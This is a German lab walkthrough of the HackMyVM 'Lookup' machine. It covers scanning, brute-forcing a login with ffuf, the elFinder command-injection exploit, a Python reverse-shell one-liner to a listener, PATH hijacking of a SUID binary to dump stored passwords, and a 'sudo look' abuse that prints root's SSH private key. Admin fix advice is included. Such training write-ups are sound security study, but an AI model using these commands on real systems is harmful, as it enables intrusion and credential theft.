Lookup - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
ping6
ip neigh
grep
awk
sort
nmap
vi / nano
curl
nikto
gobuster
wapiti
ffuf
searchsploit
python2 (Exploit)
python3
nc (netcat)
stty
id
find
ls
cat
ss
file
strings
mktemp
echo
chmod
export
ssh
sudo
passwd
look
ssh2john

Inhaltsverzeichnis

Reconnaissance (IPv4 & IPv6)

Analyse: Ein benutzerdefiniertes Skript (`recon_script.sh`) wird ausgeführt, das interne Schritte zur Zielidentifikation beinhaltet. Der erste sichtbare Schritt ist ein ARP-Scan.

[Kein Prompt - Skriptausführung]
X=$(./recon_script.sh jenk.nyx)
echo $X
[Kein Prompt - Ausgabe von arp-scan innerhalb des Skripts]
192.168.2.164	08:00:27:5a:36:a7	PCS Systemtechnik GmbH

Bewertung: Der Host `192.168.2.164` wird im lokalen Netzwerk gefunden (Oracle VirtualBox).

Empfehlung (Pentester):** Ziel-IPv4 bekannt. Prüfen Sie auf IPv6 und führen Sie Portscans durch.
Empfehlung (Admin):** Standard Netzwerk-Monitoring.

[Kein Prompt - Skriptausführung: /etc/hosts Bearbeitung]
[Inhalt /etc/hosts nach Bearbeitung]
...
192.168.2.164   lookup.hmv
...

Analyse: Der Hostname `lookup.hmv` wird der gefundenen IP in `/etc/hosts` zugeordnet.

Bewertung: Ermöglicht die Verwendung des Hostnamens für weitere Scans und Zugriffe.

Analyse: Das Skript führt eine IPv6-Nachbarerkennung durch und startet einen Nmap-Scan gegen gefundene Adressen.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::a00:27ff:fe30:2eda\|fe80::8247:86ff:fe96:f63a\|fe80::50f1:22ff:fec4:ad12\|fe80::a5aa:636f:a4bf:d441");\ \ cmd2=$(echo $cmd | awk '{print $1}' | sort -u);\ \ nmap $cmd2 -6;
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET
Nmap scan report for lookup (fe80::a00:27ff:fe5a:36a7) <-- Ziel IPv6
Host is up (0.000078s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC)

Nmap scan report for fe80::acef:d4ff:fea6:85d3
Host is up (0.0064s latency).
All 65535 scanned ports on fe80::acef:d4ff:fea6:85d3 are in ignored states.
Not shown: 65535 closed tcp ports (reset)
MAC Address: AE:EF:D4:A6:85:D3 (Unknown)

Nmap scan report for fe80::d0a5:97c8:ee04:6f55
Host is up (0.0000060s latency).
All 65535 scanned ports on fe80::d0a5:97c8:ee04:6f55 are in ignored states.
Not shown: 65535 closed tcp ports (reset)

Nmap done: 4 IP addresses (3 hosts up) scanned in 33.02 seconds

Bewertung: Das Skript identifiziert die Link-Local-IPv6-Adresse (`fe80::a00:27ff:fe5a:36a7`) des Ziels und bestätigt, dass Port 22 (SSH) und 80 (HTTP) auch über IPv6 offen sind.

Empfehlung (Pentester):** IPv6-Erreichbarkeit bestätigt. Fokussieren Sie sich auf die IPv4-Enumeration, behalten Sie IPv6 aber im Hinterkopf.
Empfehlung (Admin):** IPv6-Konfiguration und Firewall-Regeln überprüfen.

Analyse: Ein schneller UDP-Scan der Top 1000 Ports wird durchgeführt.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET
Nmap scan report for 192.168.2.164
Host is up (0.00032s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
2160/udp  closed apc-2160
3401/udp  closed squid-snmp
17585/udp closed unknown
18255/udp closed unknown
20146/udp closed unknown
MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Bewertung: Der UDP-Scan findet keine offenen Ports unter den Top 1000. Die meisten Ports sind `open|filtered`, was bedeutet, dass Nmap keine Antwort erhielt (typisch für UDP, wenn keine Anwendung lauscht oder eine Firewall blockiert).

Empfehlung (Pentester):** Keine offenen UDP-Dienste in den Top 1000 gefunden. Ein vollständiger UDP-Scan (`-p-`) wäre möglich, ist aber sehr zeitaufwendig und oft wenig ergiebig. Fokus auf TCP.
Empfehlung (Admin):** Gutes Ergebnis, keine unnötigen UDP-Dienste offen.

Analyse: Ein schneller TCP-Scan mit Versionserkennung wird durchgeführt und nach offenen Ports gefiltert.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Analyse Fortsetzung:** Ein vollständiger TCP-Scan mit aggressiver Erkennung wird durchgeführt.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 22:30 CET
Nmap scan report for lookup.hmv (192.168.2.164)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login Page
MAC Address: 08:00:27:5A:36:A7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms lookup.hmv (192.168.2.164)

OS and Service detection performed...
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds

Bewertung: Bestätigt die offenen Ports 22 (OpenSSH 8.2p1 auf Ubuntu) und 80 (Apache 2.4.41 auf Ubuntu). Der Titel der Webseite auf Port 80 lautet "Login Page".

Empfehlung (Pentester):** Fokus auf den Webserver Port 80. Untersuchen Sie die Login-Seite und führen Sie Verzeichnis-Enumeration durch.
Empfehlung (Admin):** SSH und Apache aktuell halten. Sicherheitsmaßnahmen für die Login-Seite implementieren (Rate Limiting, starke Passwörter).

Web Enumeration & Vulnerability Scanning

Analyse: `curl` wird verwendet, um die Header der Webseite auf Port 80 abzurufen.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
*   Trying 192.168.2.164:80...
* Connected to 192.168.2.164 (192.168.2.164) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.164
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 302 Found
< Date: Mon, 27 Jan 2025 21:31:22 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Location: http://lookup.hmv
< Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host 192.168.2.164 left intact

Bewertung: Der Zugriff auf die IP-Adresse führt zu einer Weiterleitung (`302 Found`) auf den Hostnamen `http://lookup.hmv`. Dies bestätigt die Notwendigkeit des `/etc/hosts`-Eintrags für den Zugriff auf die eigentliche Anwendung.

Empfehlung (Pentester):** Führen Sie alle weiteren Web-Scans und Tests gegen `http://lookup.hmv` durch.
Empfehlung (Admin):** Sicherstellen, dass die Weiterleitung korrekt konfiguriert ist und keine offenen Weiterleitungen (Open Redirects) möglich sind.

Analyse: Nikto wird auf die IP-Adresse ausgeführt (sollte aber gegen den Hostnamen laufen).

[Kein Prompt - Nikto Scan]
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.164
+ Target Hostname:    192.168.2.164
+ Target Port:        80
+ Start Time:         2025-01-27 22:31:24 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. ...
+ /: The X-Content-Type-Options header is not set. ...
+ Root page / redirects to: http://lookup.hmv
+ No CGI Directories found ...
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). ...
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2025-01-27 22:32:04 (GMT1) (40 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Bewertung: Nikto bestätigt die Weiterleitung und meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) sowie eine veraltete Apache-Version. Keine kritischen Funde.

Empfehlung (Pentester):** Führen Sie Nikto erneut gegen `http://lookup.hmv` aus. Konzentrieren Sie sich auf die Login-Seite.
Empfehlung (Admin):** Sicherheitsheader implementieren, Apache aktualisieren.

Analyse: Gobuster wird gegen die IP-Adresse ausgeführt.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x ...[ext]... -b '503,404,403' -e --no-error -k
... Gobuster Output ...
http://192.168.2.164/index.php            (Status: 302) [Size: 0] [--> http://lookup.hmv]

Bewertung: Der Scan findet nur `index.php`, die auf den Hostnamen weiterleitet. Dies bestätigt, dass Scans gegen den Hostnamen (`lookup.hmv`) durchgeführt werden müssen.

Analyse: Der Quellcode der Login-Seite (`http://lookup.hmv/`) wird angezeigt.

[Kein Prompt - view-source:http://lookup.hmv/]
 
   Login Page 
 
  
form action="login.php" method="post"

Login

Bewertung: Standard-HTML-Login-Formular. Sendet `username` und `password` via POST an `login.php`.

Analyse: Es wird versucht, `robots.txt` abzurufen.

[Kein Prompt - view-source:http://lookup.hmv/robots.txt]

 
 404 Not Found 
 

Not Found

The requested URL was not found on this server.


Apache/2.4.41 (Ubuntu) Server at lookup.hmv Port 80

Bewertung: `robots.txt` existiert nicht (Status 404).

Analyse: Ein erfolgloser Login-Versuch führt zu einer Fehlermeldung.

[Kein Prompt - Webseiten-Antwort nach fehlgeschlagenem Login]
Wrong password. Please try again.
Redirecting in 3 seconds.

Bewertung: Die Fehlermeldung "Wrong password" unterscheidet sich möglicherweise von "Wrong username", was auf eine User Enumeration Schwachstelle hindeuten könnte. Sie gibt auch einen Hinweis für Brute-Force-Filter (`-fr "Wrong password."` für `ffuf`).

Analyse: Der Web-Schwachstellen-Scanner `wapiti` wird auf die Login-Seite ausgeführt.

┌──(root㉿CCat)-[~] └─# wapiti --url http://lookup.hmv
... (Wapiti Banner) ...
[*] Saving scan state, please wait...
...
[*] Wapiti found 3 URLs and forms during the scan
[*] Loading modules: ...
[*] Launching module csp
CSP is not set
[*] Launching module http_headers
Checking X-Frame-Options : X-Frame-Options is not set
Checking X-XSS-Protection : X-XSS-Protection is not set
Checking X-Content-Type-Options : X-Content-Type-Options is not set
Checking Strict-Transport-Security : Strict-Transport-Security is not set
[*] Launching module cookieflags
... (Andere Module ohne Funde) ...
[*] Launching module ssrf
[*] Asking endpoint URL https://wapiti3.ovh/get_ssrf.php?id=... for results, please wait...
...
Report
------
A report has been generated in the file /root/.wapiti/generated_report/lookup.hmv_...html
...
Summary
Category                         Number of vulnerabilities found
---------------------------------------------------------------
Content Security Policy Configuration   1
HTTP Secure Headers                     4
...

Bewertung: `wapiti` findet keine kritischen Schwachstellen wie SQLi oder XSS, bestätigt aber die von `nikto` gefundenen fehlenden Sicherheitsheader (CSP, X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, HSTS).

Empfehlung (Pentester):** Da automatisierte Scanner keine kritischen Lücken finden, konzentrieren Sie sich auf Brute-Force-Angriffe auf das Login und manuelle Tests.
Empfehlung (Admin):** Sicherheitsheader implementieren.

Credential Access (Brute-Force)

Analyse: Ein Brute-Force-Angriff mit `ffuf` wird auf das Passwort für den Benutzer `admin` durchgeführt. `-d` gibt die POST-Daten an, wobei `PASSWRD` durch Einträge aus `rockyou.txt` ersetzt wird. `-H` setzt den Content-Type Header. `-fr "Wrong password."` filtert Antworten heraus, die auf ein falsches Passwort hindeuten.

┌──(root㉿CCat)-[~] └─# ffuf -u "http://lookup.hmv/login.php" -d "username=admin&password=PASSWRD" -w /usr/share/wordlists/rockyou.txt:PASSWRD -H "Content-Type: application/x-www-form-urlencoded" -fr "Wrong password." -c -ic -t 30
... (ffuf Banner) ...
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.hmv/login.php
 :: Wordlist         : PASSWRD: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=admin&password=PASSWRD
 ...
 :: Filter           : Regexp: Wrong password.
________________________________________________

password123             [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 0ms] <-- Erfolg!
...

Bewertung: Der Angriff ist erfolgreich! Das Passwort `password123` für den Benutzer `admin` wird gefunden, da die Antwort nicht den gefilterten Text "Wrong password." enthielt.

Analyse Fortsetzung:** Nachdem das Passwort `password123` bekannt ist, wird ein Brute-Force-Angriff auf den Benutzernamen durchgeführt, um zu sehen, ob andere Benutzer das gleiche Passwort verwenden. `-fr "Wrong username or password."` filtert Fehlermeldungen.

┌──(root㉿CCat)-[~] └─# ffuf -u "http://lookup.hmv/login.php" -d "username=USERNAME&password=password123" -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:USERNAME -H "Content-Type: application/x-www-form-urlencoded" -fr "Wrong username or password." -c -ic -t 30
... (ffuf Banner) ...
________________________________________________

 :: Method           : POST
 :: URL              : http://lookup.hmv/login.php
 :: Wordlist         : USERNAME: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=USERNAME&password=password123
 ...
 :: Filter           : Regexp: Wrong username or password.
________________________________________________

jose                    [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2ms] <-- Erfolg!
...

Bewertung: Der Angriff findet einen weiteren Benutzer, `jose`, der ebenfalls das Passwort `password123` verwendet. Der Statuscode `302 Found` deutet auf einen erfolgreichen Login und eine Weiterleitung hin.

Empfehlung (Pentester):** Versuchen Sie, sich als Benutzer `jose` mit dem Passwort `password123` einzuloggen. Untersuchen Sie die Funktionalität, die nach dem Login verfügbar ist.
Empfehlung (Admin):** Erzwingen Sie starke, eindeutige Passwörter. Verbieten Sie die Wiederverwendung von Passwörtern und häufige Passwörter wie "password123". Implementieren Sie Anti-Brute-Force-Maßnahmen (Rate Limiting, Lockout, CAPTCHA).

Subdomain Enumeration & elFinder

Analyse: Nach dem Login als `jose` (Schritt nicht gezeigt, aber impliziert) oder durch weitere Enumeration wird die Subdomain `files.lookup.hmv` entdeckt. Diese wird zur lokalen `/etc/hosts`-Datei hinzugefügt.

┌──(root㉿CCat)-[~/.wapiti/generated_report] └─# vi /etc/hosts
┌──(root㉿CCat)-[~/.wapiti/generated_report] └─# grep look /etc/hosts
                192.168.2.164   lookup.hmv www.lookup.hmv files.lookup.hmv

Analyse Fortsetzung:** Beim Zugriff auf `http://files.lookup.hmv/` wird eine Instanz von `elFinder` (ein Web-Dateimanager) gefunden, die unter `http://files.lookup.hmv/elFinder/elfinder.html` erreichbar ist.

[Kein Prompt - Browser Zugriff]
URL: http://files.lookup.hmv/elFinder/elfinder.html#elf_l1_Lw

Analyse Fortsetzung:** Innerhalb von elFinder wird eine Datei `user.txt` gefunden und deren Inhalt (eine Wortliste) angezeigt oder heruntergeladen.

[Kein Prompt - Inhalt von user.txt aus elFinder]
earthy
fiduciary
weighted
outbound
rycca
show-offs
overcast
packinghouse
swaddle
throbbed
resourcelessness
jazz
nopassword
pectic
agretha
only-begotten
renewable
symmetrical
volumetrically
password123 <-- Bekanntes Passwort
altair
smokestack
superconductor

Bewertung: Die Entdeckung einer elFinder-Instanz ist signifikant, da ältere Versionen oft Schwachstellen aufweisen. Die `user.txt`-Datei scheint hier eher eine Wortliste als ein Flag zu sein und enthält das bereits bekannte Passwort `password123`.

Analyse Fortsetzung:** Mit `searchsploit` wird nach bekannten Exploits für elFinder gesucht.

┌──(root㉿CCat)-[~] └─# searchsploit elFinder
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
elFinder 2 - Remote Command Execution (via File Creation)   | php/webapps/36925.py
elFinder 2.1.47 - 'PHP connector' Command Injection         | php/webapps/46481.py <-- Relevanter Exploit
elFinder PHP Connector < 2.1.48 - 'exiftran' Command Inject | php/remote/46539.rb
elFinder Web file manager Version - 2.1.53 Remote Command E | php/webapps/51864.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Bewertung: Mehrere Exploits werden gefunden. Der Exploit `46481.py` für Command Injection im PHP Connector von elFinder < 2.1.48 ist ein vielversprechender Kandidat.

Empfehlung (Pentester):** Laden Sie den Exploit `46481.py` herunter und führen Sie ihn gegen die elFinder-Instanz aus (`python2 46481.py "http://files.lookup.hmv/elFinder/"`). Dieser Exploit lädt typischerweise eine kleine Webshell hoch und versucht, Befehle auszuführen.
Empfehlung (Admin):** Aktualisieren Sie elFinder dringend auf die neueste Version. Entfernen oder beschränken Sie den Zugriff auf elFinder, wenn er nicht unbedingt öffentlich zugänglich sein muss.

Initial Access (elFinder Exploit)

Analyse: Der elFinder-Exploit (`46481.py`) wird ausgeführt. Der Exploit lädt eine Datei hoch (wahrscheinlich ein Bild mit eingebettetem PHP-Code oder eine PHP-Datei, die als Bild getarnt ist) und führt dann eine Command Injection aus, um diesen Code zur Ausführung zu bringen.

┌──(root㉿CCat)-[~] └─# mv maxxx.jpg SecSignal.jpg
┌──(root㉿CCat)-[~] └─# python2 46481.py "http://files.lookup.hmv/elFinder/"
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$

Bewertung: Der Exploit ist erfolgreich und liefert eine interaktive Shell auf dem Server. Die Shell läuft mit den Rechten des Webserver-Benutzers (`www-data`, wie später bestätigt wird).

Analyse Fortsetzung:** Innerhalb der erhaltenen Shell wird die Python-Version überprüft und eine stabilere Reverse Shell mittels Python zu einem Netcat-Listener aufgebaut.

$ python --version
[Keine Ausgabe, Python 2 nicht gefunden?]
$ python3 --version
Python 3.8.10
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Analyse Fortsetzung:** Der Netcat-Listener empfängt die Verbindung.

┌──(root㉿CCat)-[~/.wapiti/generated_report] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.164] 49030
/bin/sh: 0: can't access tty; job control turned off
$

Bewertung: Der initiale Zugriff als `www-data` wurde erfolgreich über den elFinder-Exploit erlangt und eine stabilere Reverse Shell wurde aufgebaut.

Empfehlung (Pentester):** Führen Sie Enumeration als `www-data` durch. Suchen Sie nach Konfigurationsdateien, Datenbankzugängen, SUID-Dateien, Cronjobs und `sudo`-Rechten.
Empfehlung (Admin):** elFinder patchen oder entfernen. Rechte des Webserver-Benutzers minimieren.

Privilege Escalation (pwm Path Hijacking)

Analyse: In der `www-data`-Shell werden SUID-Dateien gesucht.

www-data@lookup:/...$ find / -type f -perm -4000 -ls 2>/dev/null
... (Standard SUID-Dateien) ...
      9154     20 -rwsr-sr-x   1 root     root               17176 Jan 11  2024 /usr/sbin/pwm <-- Ungewöhnlich!
... (Standard SUID-Dateien) ...

Bewertung: Eine ungewöhnliche SUID/SGID-Datei `/usr/sbin/pwm` wird gefunden.

Analyse Fortsetzung:** Die Datei `/usr/sbin/pwm` wird näher untersucht.

www-data@lookup:/home/think$ file /usr/sbin/pwm
/usr/sbin/pwm: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01ec8570b00af8889beebc5f93c6d56fb9cc1083, for GNU/Linux 3.2.0, not stripped
www-data@lookup:/home/think$ strings /usr/sbin/pwm
/lib64/ld-linux-x86-64.so.2
libc.so.6
...
[!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[-] Error reading username from id command
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found
...

Bewertung: `pwm` ist eine 64-bit ELF-Datei mit SUID- und SGID-Bit. Die `strings`-Ausgabe zeigt, dass das Programm den `id`-Befehl ausführt, um den aktuellen Benutzernamen zu erhalten, und dann versucht, eine Datei namens `.passwords` im Home-Verzeichnis dieses Benutzers zu öffnen (`/home/%s/.passwords`). Da `pwm` SUID/SGID Root ist und den `id`-Befehl ohne vollständigen Pfad aufruft, ist es anfällig für Path Hijacking.

Analyse Fortsetzung:** Die Path-Hijacking-Schwachstelle wird ausgenutzt: 1. Ein Benutzer (`think`) wird identifiziert (vermutlich durch `ls /home`). 2. Ein bösartiges Skript namens `id` wird in `/tmp` erstellt, das die Ausgabe `uid=1000(think) ...` erzeugt. 3. Dieses Skript wird ausführbar gemacht. 4. `/tmp` wird an den Anfang der `PATH`-Umgebungsvariable gesetzt. 5. `/usr/sbin/pwm` wird ausgeführt.

www-data@lookup:/tmp$ nano id
[Inhalt der Datei /tmp/id]
echo "uid=1000(think) gid=1000(think) groups=1000(think)"
www-data@lookup:/tmp$ chmod +x id
www-data@lookup:/tmp$ export PATH=/tmp:$PATH
www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID) <-- Führt jetzt /tmp/id aus
[!] ID: think
jose1006 <-- Inhalt von /home/think/.passwords
jose1004
...
thepassword <-- Potenzielles Passwort?
...
jose.medina.
...

Bewertung: Der Path-Hijacking-Angriff ist erfolgreich. `pwm` führt `/tmp/id` statt `/usr/bin/id` aus, erhält "think" als Benutzernamen und liest (da es mit Root-Rechten läuft) die Datei `/home/think/.passwords` aus, deren Inhalt ausgegeben wird. Die Liste enthält das Wort `thepassword`, was ein wahrscheinliches Passwort für den Benutzer `think` ist.

Empfehlung (Pentester):** Versuchen Sie, sich per SSH als Benutzer `think` mit dem Passwort `thepassword` anzumelden.
Empfehlung (Admin):** Beheben Sie die Schwachstelle in `pwm`: * Rufen Sie `id` mit dem vollständigen Pfad `/usr/bin/id` auf. * Überprüfen Sie, ob das SUID/SGID-Bit für `pwm` wirklich notwendig ist. Wenn nicht, entfernen Sie es (`chmod ug-s /usr/sbin/pwm`). * Speichern Sie Passwörter niemals im Klartext in Dateien wie `.passwords`. Verwenden Sie Hashing oder sicherere Speichermechanismen. * Korrigieren Sie die Berechtigungen für `.passwords`, sodass nur der Besitzer darauf zugreifen kann.

Lateral Movement (SSH as think)

Analyse: Es wird versucht, sich per SSH als Benutzer `think` mit dem durch Path Hijacking gefundenen Passwort `thepassword` anzumelden.

┌──(root㉿CCat)-[~] └─# ssh think@192.168.2.164
think@192.168.2.164's password: [Passwort thepassword eingegeben]
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
...
Last login: Thu Jan 11 20:17:32 2024 from 192.168.1.13
think@lookup:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)

Bewertung: Der SSH-Login als `think` ist erfolgreich. Der Angreifer hat nun eine Shell als dieser Benutzer.

Empfehlung (Pentester):** Führen Sie Enumeration als `think` durch. Prüfen Sie `sudo -l`. Lesen Sie die User-Flag.
Empfehlung (Admin):** Ändern Sie das Passwort für den Benutzer `think`. Beheben Sie die `pwm`-Schwachstelle.

Privilege Escalation (think to root via sudo look)

Analyse: Die `sudo`-Rechte für den Benutzer `think` werden überprüft.

think@lookup:~$ sudo -l
[sudo] password for think: [Passwort thepassword eingegeben]
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look

Bewertung: Kritischer Fund! `think` darf `/usr/bin/look` als jeder Benutzer (`ALL`), einschließlich Root, ausführen. `look` wird normalerweise verwendet, um Zeilen in einer sortierten Datei zu finden, die mit einem bestimmten String beginnen. Laut GTFOBins kann `look` jedoch missbraucht werden, um beliebige Dateien zu lesen, wenn es mit `sudo` ausgeführt wird.

Analyse Fortsetzung:** Das Passwort für `think` wird geändert (optionaler Schritt).

think@lookup:~$ passwd
Changing password for think.
Current password: [Passwort thepassword eingegeben]
New password: [Neues Passwort]
Retype new password: [Neues Passwort]
passwd: password updated successfully

Analyse Fortsetzung:** Der GTFOBins-Exploit für `sudo look` wird verwendet, um den privaten SSH-Schlüssel des Root-Benutzers zu lesen.

think@lookup:~$ LFILE=/root/.ssh/id_rsa
think@lookup:~$ sudo look '' "$LFILE"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAptm2+DipVfUMY+7g9Lcmf/h23TCH7qKRg4Penlti9RKW2XLSB5wR
Qcqy1zRFDKtRQGhfTq+YfVfboJBPCfKHdpQqM/zDb//ZlnlwCwKQ5XyTQU/vHfRfU0pnR
... (Key Body) ...
DgTNYtefYf4EpwAAABFyb290QHVidW50dXNlcnZlcg
-----END OPENSSH PRIVATE KEY-----

Bewertung: Der Exploit ist erfolgreich! Der private SSH-Schlüssel des Root-Benutzers wird ausgegeben. Dies ermöglicht den direkten Root-Zugriff.

Analyse Fortsetzung:** Der Root-Schlüssel wird lokal gespeichert (`id_rsa`). Mit `ssh2john` wird geprüft, ob der Schlüssel passwortgeschützt ist.

┌──(root㉿CCat)-[~] └─# ssh2john id_rsa > hash
id_rsa has no password!
┌──(root㉿CCat)-[~] └─# chmod 600 id_rsa

Bewertung: Der Root-SSH-Schlüssel ist nicht passwortgeschützt.

Analyse Fortsetzung:** Mit dem Root-SSH-Schlüssel wird sich per SSH als `root` angemeldet.

┌──(root㉿CCat)-[~] └─# ssh -i id_rsa root@192.168.2.164
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
...
Last login: Wed Sep 11 09:24:50 2024
root@lookup:~#

Bewertung: Der SSH-Login als `root` ist erfolgreich. Die Privilegieneskalation wurde abgeschlossen.

Empfehlung (Pentester):** Lesen Sie die Root-Flag.
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel für `look`. Erlauben Sie niemals `sudo` für Befehle, die zum Lesen beliebiger Dateien missbraucht werden können. Beschränken Sie den direkten Root-Login per SSH und verwenden Sie stattdessen `sudo` von einem unprivilegierten Konto aus (mit starkem Passwort oder MFA). Schützen Sie private SSH-Schlüssel.

Analyse: Die Flags werden gelesen.

root@lookup:~# ls
... root.txt ...
root@lookup:~# cat root.txt
5a285a9f257e45c68bb6c9f9f57d18e8
root@lookup:~# cat /home/think/user.txt
38375fb4dd8baa2b2039ac03d92b820e

Bewertung: Beide Flags wurden erfolgreich ausgelesen.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Kette von Schwachstellen: Brute-Force von Login-Credentials, Entdeckung einer Subdomain mit elFinder, Ausnutzung einer bekannten RCE-Schwachstelle in elFinder für Initial Access als `www-data`, Eskalation zu `think` durch Path Hijacking einer SUID-Binary (`pwm`) zum Auslesen von Passwörtern und schließlich Eskalation zu `root` durch Ausnutzung einer unsicheren `sudo`-Regel für `look` zum Lesen des Root-SSH-Keys.

POC Schritt 1: Initial Access (www-data via elFinder RCE)

Schwachstellen: Schwache Passwörter, exponierte elFinder-Instanz, elFinder RCE (CVE-...).

Schritte:

  1. Brute-Force Login (`admin:password123`, `jose:password123`).
  2. Subdomain `files.lookup.hmv` finden (z.B. via Analyse nach Login oder VHost-Scan).
  3. elFinder-Instanz unter `/elFinder/` identifizieren.
  4. `searchsploit elFinder` -> Exploit `46481.py` finden.
  5. Exploit ausführen: `python2 46481.py "http://files.lookup.hmv/elFinder/"`.
  6. Reverse Shell (z.B. via Python) von der Exploit-Shell zu `nc -lvnp 5555` starten.

Ergebnis: Shell als `www-data`.

POC Schritt 2: Privilege Escalation (www-data zu think via pwm Path Hijack)

Schwachstelle: SUID/SGID Binary `/usr/sbin/pwm` ruft `id` ohne Pfad auf, Klartextpasswörter in `/home/think/.passwords`.

Voraussetzungen: Shell als `www-data`.

Schritte:

  1. Fake `id`-Skript in `/tmp` erstellen: `echo 'echo "uid=1000(think)..."' > /tmp/id`.
  2. Ausführbar machen: `chmod +x /tmp/id`.
  3. PATH manipulieren: `export PATH=/tmp:$PATH`.
  4. `pwm` ausführen: `/usr/sbin/pwm`.
  5. Passwort `thepassword` aus der Ausgabe extrahieren.
  6. SSH-Login: `ssh think@lookup.hmv` (Passwort: `thepassword`).

Ergebnis: Shell als `think`.

POC Schritt 3: Privilege Escalation (think zu root via sudo look)

Schwachstelle: Unsichere `sudo`-Regel: `(ALL) /usr/bin/look`.

Voraussetzungen: Shell als `think`.

Schritte (GTFOBins für look):

  1. Root-SSH-Key lesen: `LFILE=/root/.ssh/id_rsa; sudo look '' "$LFILE"`.
  2. Key extrahieren, als `id_rsa` speichern, `chmod 600 id_rsa`.
  3. SSH-Login als Root: `ssh -i id_rsa root@lookup.hmv`.

